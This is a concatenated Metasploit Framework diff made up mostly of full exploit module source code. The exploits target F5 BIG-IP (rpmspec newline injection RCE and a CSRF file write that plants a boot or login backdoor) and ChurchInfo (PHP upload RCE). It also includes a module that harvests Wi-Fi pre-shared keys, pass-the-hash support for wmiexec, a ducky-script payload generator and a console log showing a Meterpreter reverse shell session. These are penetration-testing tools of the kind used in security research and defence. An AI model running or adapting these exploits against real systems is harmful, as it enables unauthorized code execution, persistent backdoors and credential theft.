msf6 exploit(multi/http/churchinfo_upload_exec) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Target is ChurchInfo!
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
[+] Logged into application as admin
[*] Navigating to add items to cart
[+] Items in Cart: Items in Cart: 2
[+] Uploading exploit via temp email attachment
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
[+] Executing payload with GET request
[*] Sending stage (39927 bytes) to 172.18.0.2
[+] Deleted ueNYs9.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600
meterpreter > getpid
Current pid: 452
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 8eeaa82293b4
OS : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,48 @@
## Vulnerable Application
This module collects 802-11-Wireless-Security credentials such as
Access-Point name and Pre-Shared-Key from Linux NetworkManager
connection configuration files.
## Verification Steps
1. Start msfconsole
1. Get a `root` session
1. Do: `use post/linux/gather/enum_psk`
1. Do: `set session <session ID>`
1. Do: `run`
1. You should receive credentails for wireless connections
## Options
### DIR
The path for NetworkManager configuration files (default: `/etc/NetworkManager/system-connections/`)
## Scenarios
### Ubuntu 22.04.1 (x86_64)
```
msf6 > use post/linux/gather/enum_psk
msf6 post(linux/gather/enum_psk) > set session 1
session => 1
msf6 post(linux/gather/enum_psk) > run
[*] Reading file /etc/NetworkManager/system-connections//Profile 1.nmconnection
[*] Reading file /etc/NetworkManager/system-connections//test
802-11-wireless-security
========================
AccessPoint-Name PSK
---------------- ---
test 1234567890
[+] Credentials stored in: /root/.msf4/loot/20221120081233_default_192.168.200.204_linux.psk.creds_045512.txt
[*] Post module execution completed
msf6 post(linux/gather/enum_psk) >
```
@@ -6,6 +6,7 @@ This module allows you to collect login information for PureVPN client, specific
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
+1
View File
@@ -116,6 +116,7 @@ _msfvenom_formats_list=(
'aspx-exe'
'axis2'
'dll'
'ducky-script-psh'
'elf'
'elf-so'
'exe'
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.27"
VERSION = "6.2.28"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+1 -1
View File
@@ -63,7 +63,7 @@ module Payload::Python::ReverseHttp
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if self.available_space.nil? || dynamic_size? || required_space > self.available_space
uri_req_len = 30
end
+15
View File
@@ -1437,6 +1437,18 @@ require 'digest/sha1'
method: 'reflection')
end
def self.to_powershell_ducky_script(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
method: 'reflection')
replacers = {}
replacers[:var_payload] = powershell
read_replace_script_template("to_powershell.ducky_script.template", replacers)
end
def self.to_powershell_hta(framework, arch, code)
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
@@ -2155,6 +2167,8 @@ require 'digest/sha1'
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
when 'python-reflection'
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
when 'ducky-script-psh'
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
end
end
@@ -2168,6 +2182,7 @@ require 'digest/sha1'
"aspx-exe",
"axis2",
"dll",
"ducky-script-psh",
"elf",
"elf-so",
"exe",
+15
View File
@@ -23,6 +23,21 @@ module Rex::Proto::MsDtyp
bit2 :reserved1
bit1 :ma
bit1 :as
def bit_names
names = []
names << :GENERIC_READ if self.gr != 0
names << :GENERIC_WRITE if self.gw != 0
names << :GENERIC_EXECUTE if self.gx != 0
names << :GENERIC_ALL if self.ga != 0
names << :MAXIMUM_ALLOWED if self.ma != 0
names << :ACCESS_SYSTEM_SECURITY if self.as != 0
names << :SYNCHRONIZE if self.sy != 0
names << :WRITE_OWNER if self.wo != 0
names << :WRITE_DACL if self.wd != 0
names << :READ_CONTROL if self.rc != 0
names << :DELETE if self.de != 0
names
end
ALL = MsDtypAccessMask.new({ gr: 1, gw: 1, gx: 1, ga: 1, ma: 1, as: 1, sy: 1, wo: 1, wd: 1, rc: 1, de: 1, protocol: 0xffff })
NONE = MsDtypAccessMask.new({ gr: 0, gw: 0, gx: 0, ga: 0, ma: 0, as: 0, sy: 0, wo: 0, wd: 0, rc: 0, de: 0, protocol: 0 })
@@ -12,9 +12,9 @@ import string
import sys
try:
from impacket.smbconnection import SMBConnection, SMB_DIALECT, \
SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.smbconnection import SessionError, SMBConnection, \
SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection, DCERPCSessionError
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
except ImportError:
@@ -41,8 +41,9 @@ metadata = {
'COMMAND': {'type': 'string', 'description': 'The command to execute', 'required': True},
'OUTPUT': {'type': 'bool', 'description': 'Get the output of the executed command', 'required': True, 'default': True},
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': False, 'default': None},
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
'HASHES': {'type': 'string', 'description': 'The NTLM hash to use for authentication, format: LMHASH:NTHASH', 'required': False, 'default': None}
},
'notes': {
'AKA': ['wmiexec.py']
@@ -51,7 +52,7 @@ metadata = {
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, share=None,
def __init__(self, command='', username='', password=None, domain='', hashes=None, share=None,
noOutput=False):
self.__command = command
self.__username = username
@@ -65,25 +66,34 @@ class WMIEXEC:
self.__doKerberos = False
self.__kdcHost = None
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
if not self.__password and not (self.__lmhash or self.__nthash):
logging.error("Either SMBPass or HASHES must be set, aborting...")
return
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
if self.__noOutput is False:
try:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
except SessionError as exc:
logging.error(str(exc))
else:
smbConnection = None
@@ -102,8 +112,8 @@ class WMIEXEC:
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
logging.error(str(e))
except (DCERPCSessionError, Exception, KeyboardInterrupt) as exc:
logging.error(str(exc))
if smbConnection is not None:
smbConnection.logoff()
@@ -131,8 +141,8 @@ def run(args):
return
_msf_impacket.pre_run_hook(args)
executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
share='ADMIN$', noOutput=args['OUTPUT'] != 'true')
executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
hashes=args['HASHES'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true')
executer.run(args['rhost'])
if __name__ == "__main__":
@@ -0,0 +1,126 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',
'Description' => %q{
This module exploits a newline injection into an RPM .rpmspec file
that permits authenticated users to remotely execute commands.
Successful exploitation results in remote code execution
as the root user.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41800'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K13325942'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[ 'Default', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION], # One at a time
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
OptString.new('HttpPassword', [true, 'iControl password', ''])
]
)
end
def exploit
# The RPM name is based on these, so we need these to delete the RPM file after
name = rand_text_alphanumeric(5..10)
version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
vprint_status('Creating an .rpmspec file on the target...')
result = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
'ctype' => 'application/json',
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'data' => {
'specFileData' => {
'name' => name,
'srcBasePath' => '/tmp',
'version' => version,
'release' => release,
# This is the injection - add newlines then a '%check' section
'description' => "\n\n%check\n#{payload.encoded}\n",
'summary' => rand_text_alphanumeric(5..10)
}
}.to_json
})
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
json = result&.get_json_document
fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
file_path = json['specFilePath']
fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
vprint_status("Created spec file: #{file_path}")
register_file_for_cleanup(file_path)
# We can also use `exit 1` in the %check function to prevent this file
# from being created, rather than cleaning it up.. but that seems noisier?
# Neither option gets logged so /shrug
register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")
vprint_status('Building the RPM to trigger the payload...')
result = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),
'ctype' => 'application/json',
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'data' => {
'state' => {},
'appName' => rand_text_alphanumeric(5..10),
'packageDirectory' => '/tmp',
'specFilePath' => file_path
}.to_json
})
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
end
end
@@ -0,0 +1,166 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
'Description' => %q{
This module exploits a cross-site request forgery (CSRF) vulnerability
in F5 Big-IP's iControl interface to write an arbitrary file to the
filesystem.
While any file can be written to any location as root, the
exploitability is limited by SELinux; the vast majority of writable
locations are unavailable. By default, we write to a script that
executes at reboot, which means the payload will execute the next time
the server boots.
An alternate target - Login - will add a backdoor that executes next
time a user logs in interactively. This overwrites a file,
but we restore it when we get a session
Note that because this is a CSRF vulnerability, it starts a web
server, but an authenticated administrator must visit the site, which
redirects them to the target.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41622'],
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K94221585'],
['URL', 'https://support.f5.com/csp/article/K05403841'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'Privileged' => true,
'Targets' => [
[ 'Restart', {}, ],
[ 'Login', {}, ],
[ 'Custom', {}, ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
]
)
end
def on_request_uri(socket, _request)
if datastore['TARGET'] == 0 # restart
filename = '/shared/f5_update_action'
file_payload = <<~EOT
UpdateAction
https://localhost/success`#{payload.encoded}`
https://localhost/error
0
0
0
0
EOT
# Delete the logfile if we get a session
register_file_for_cleanup('/var/log/f5_update_checker.out')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
elsif datastore['TARGET'] == 1 # login
filename = '/var/run/config/timeout.sh'
file_payload = "#{payload.encoded} & disown;"
# Delete the backdoored file if we get a session.. this will be fixed at
# next reboot
register_file_for_cleanup('/var/run/config/timeout.sh')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
else # Custom
filename = datastore['FILENAME']
file_payload = payload.encoded
print_status("Redirecting the admin to overwrite #{filename} with the payload")
end
# Build the SOAP request that'll be sent to the target server
csrf_payload = %(
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">#{filename}</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
)
# Build the target URL
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"
# Build the HTML payload that'll send the SOAP request via the user's browser
html_payload = %(
<html>
<body>
<form action="#{target_url}" method="POST" enctype="text/plain">
<textarea id="payload" name="&lt;!--">--&gt;#{Rex::Text.html_encode(csrf_payload)}</textarea>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
)
# Send the HTML to the browser
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
end
def exploit
# Sanity check
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
end
print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
super
end
end
@@ -0,0 +1,242 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
'Description' => %q{
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
then browsing to the location of the uploaded PHP file on the web server, arbitrary code
execution as the web daemon user (e.g. www-data) can be achieved.
},
'License' => MSF_LICENSE,
'Author' => [ 'm4lwhere <m4lwhere@protonmail.com>' ],
'References' => [
['URL', 'http://www.churchdb.org/'],
['URL', 'http://sourceforge.net/projects/churchinfo/'],
['CVE', '2021-43258']
],
'Platform' => 'php',
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['REPEATABLE_SESSION'],
'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']
}
)
)
# Set the email subject and message if interested
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
]
)
end
def check
if datastore['SSL'] == true
proto_var = 'https'
else
proto_var = 'http'
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'GET',
'vars_get' => {
'Proto' => proto_var,
'Path' => target_uri.path
}
)
unless res
return CheckCode::Unknown('Target did not respond to a request to its login page!')
end
# Check if page title is the one that ChurchInfo uses for its login page.
if res.body.match(%r{<title>ChurchInfo: Login</title>})
print_good('Target is ChurchInfo!')
else
return CheckCode::Safe('Target is not running ChurchInfo!')
end
# Check what version the target is running using the upgrade pages.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
else
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
end
end
#
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.
# Adding items to the cart is required for the server-side code to accept the upload.
#
def exploit
# Need to grab the PHP session cookie value first to pass to application
vprint_status('Gathering PHP session cookie')
if datastore['SSL'] == true
vprint_status('SSL is true, changing protocol to HTTPS')
proto_var = 'https'
else
vprint_status('SSL is false, leaving protocol as HTTP')
proto_var = 'http'
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'GET',
'vars_get' => {
'Proto' => proto_var,
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
},
'keep_cookies' => true
)
# Ensure we get a 200 from the application login page
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
end
# Check that we actually are targeting a ChurchInfo server.
unless res.body.match(%r{<title>ChurchInfo: Login</title>})
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
end
# Grab our assigned session cookie
cookie = res.get_cookies
vprint_good("PHP session cookie is #{cookie}")
vprint_status('Attempting login')
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'POST',
'vars_post' => {
'User' => datastore['USERNAME'],
'Password' => datastore['PASSWORD'],
'sURLPath' => datastore['TARGETURI']
}
)
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
end
vprint_good("Location header is #{res.headers['Location']}")
print_good("Logged into application as #{datastore['USERNAME']}")
vprint_status('Attempting exploit')
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.
print_status('Navigating to add items to cart')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
'method' => 'GET',
'vars_get' => {
'mode' => 'person',
'AddAllToCart' => 'Add+to+Cart'
}
)
# Need to check that items were successfully added to the cart
# Here we're looking through html for the version string, similar to:
# Items in Cart: 2
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
end
cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
unless cart_items
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
end
if cart_items['cart'].to_i < 1
print_error('No items in cart detected')
fail_with(Failure::UnexpectedReply,
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
end
print_good("Items in Cart: #{cart_items}")
# Uploading exploit as temporary email attachment
print_good('Uploading exploit via temp email attachment')
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
vprint_status("Payload name is #{payload_name}")
# Create the POST payload with required parameters to be parsed by the server
post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'application/octet-stream', nil,
"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
file = post_data.to_s
file.strip!
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'CartView.php'),
'method' => 'POST',
'data' => file,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
# Ensure that we get a 200 and the intended payload was
# successfully uploaded and attached to the draft email.
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
# Have our payload deleted after we exploit
register_file_for_cleanup(payload_name)
# Make a GET request to the PHP file that was uploaded to execute it on the target server.
print_good('Executing payload with GET request')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
'method' => 'GET'
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
+2 -15
View File
@@ -29,7 +29,8 @@ class MetasploitModule < Msf::Post
# Run Method for when run command is issued
def run
host = get_host
print_status("Running module against #{get_hostname} (#{session.session_host})")
user = execute("/usr/bin/whoami")
print_status("Module running as #{user}")
@@ -82,20 +83,6 @@ class MetasploitModule < Msf::Post
print_good("#{msg} stored in #{loot.to_s}")
end
# Get host name
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = cmd_exec("hostname").chomp
end
print_status("Running module against #{host}")
return host
end
def execute(cmd)
verification_token = Rex::Text::rand_text_alpha(8)
vprint_status("Execute: #{cmd}")
+88 -80
View File
@@ -7,103 +7,111 @@ class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Linux Gather 802-11-Wireless-Security Credentials',
'Description' => %q{
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Gather NetworkManager 802-11-Wireless-Security Credentials',
'Description' => %q{
This module collects 802-11-Wireless-Security credentials such as
Access-Point name and Pre-Shared-Key from your target CLIENT Linux
machine using /etc/NetworkManager/system-connections/ files.
The module gathers NetworkManager's plaintext "psk" information.
},
'License' => MSF_LICENSE,
'Author' => ['Cenk Kalpakoglu'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
))
Access-Point name and Pre-Shared-Key from Linux NetworkManager
connection configuration files.
},
'License' => MSF_LICENSE,
'Author' => ['Cenk Kalpakoglu'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('DIR', [true, 'The default path for network connections',
'/etc/NetworkManager/system-connections/']
)
])
register_options([
OptString.new('DIR', [true, 'The path for NetworkManager configuration files', '/etc/NetworkManager/system-connections/'])
])
end
def dir
def connections_directory
datastore['DIR']
end
# Extracts AccessPoint name and PSK
def get_psk(data, ap_name)
def extract_psk_from_file(path)
return if path.blank?
print_status("Reading file #{path}")
data = read_file(path)
return if data.blank?
data.each_line do |l|
if l =~ /^psk=/
psk = l.split('=')[1].strip
return [ap_name, psk]
end
next unless l.starts_with?('psk=')
psk = l.split('=')[1].strip
return psk unless psk.blank?
end
nil
end
def extract_all_creds
tbl = Rex::Text::Table.new({
'Header' => '802-11-wireless-security',
'Columns' => ['AccessPoint-Name', 'PSK'],
'Indent' => 1,
})
files = cmd_exec("/bin/ls -1 #{dir}").chomp.split("\n")
files.each do |f|
file = "#{dir}#{f}"
# TODO: find better (ruby) way
if data = read_file(file)
print_status("Reading file #{file}")
ret = get_psk(data, f)
if ret
tbl << ret
end
end
end
tbl
end
def run
if is_root?
tbl = extract_all_creds
if tbl.rows.empty?
print_status('No PSK has been found!')
else
print_line("\n" + tbl.to_s)
p = store_loot(
'linux.psk.creds',
'text/csv',
session,
tbl.to_csv,
File.basename('wireless_credentials.txt')
)
unless is_root?
fail_with(Failure::NoAccess, 'You must run this module as root!')
end
print_good("Secrets stored in: #{p}")
connection_files = dir(connections_directory)
tbl.rows.each do |cred|
user = cred[0] # AP name
password = cred[1]
create_credential(
workspace_id: myworkspace_id,
origin_type: :session,
address: session.session_host,
session_id: session_db_id,
post_reference_name: self.refname,
username: user,
private_data: password,
private_type: :password,
)
end
print_status("Done")
end
else
print_error('You must run this module as root!')
if connection_files.blank?
print_status('No network connections found')
return
end
tbl = Rex::Text::Table.new({
'Header' => '802-11-wireless-security',
'Columns' => ['AccessPoint-Name', 'PSK'],
'Indent' => 1
})
connection_files.each do |f|
psk = extract_psk_from_file("#{connections_directory}/#{f}")
tbl << [f, psk] unless psk.blank?
end
if tbl.rows.empty?
print_status('No wireless PSKs found')
return
end
print_line("\n#{tbl}")
p = store_loot(
'linux.psk.creds',
'text/csv',
session,
tbl.to_csv,
'wireless_credentials.txt'
)
print_good("Credentials stored in: #{p}")
tbl.rows.each do |cred|
user = cred[0] # AP name
password = cred[1]
create_credential(
workspace_id: myworkspace_id,
origin_type: :session,
address: session.session_host,
session_id: session_db_id,
post_reference_name: refname,
username: user,
private_data: password,
private_type: :password
)
end
end
end
@@ -32,9 +32,9 @@ class MetasploitModule < Msf::Post
end
def run
print_status("Running module against #{get_hostname} (#{session.session_host})")
distro = get_sysinfo
h = get_host
print_status("Running module against #{h}")
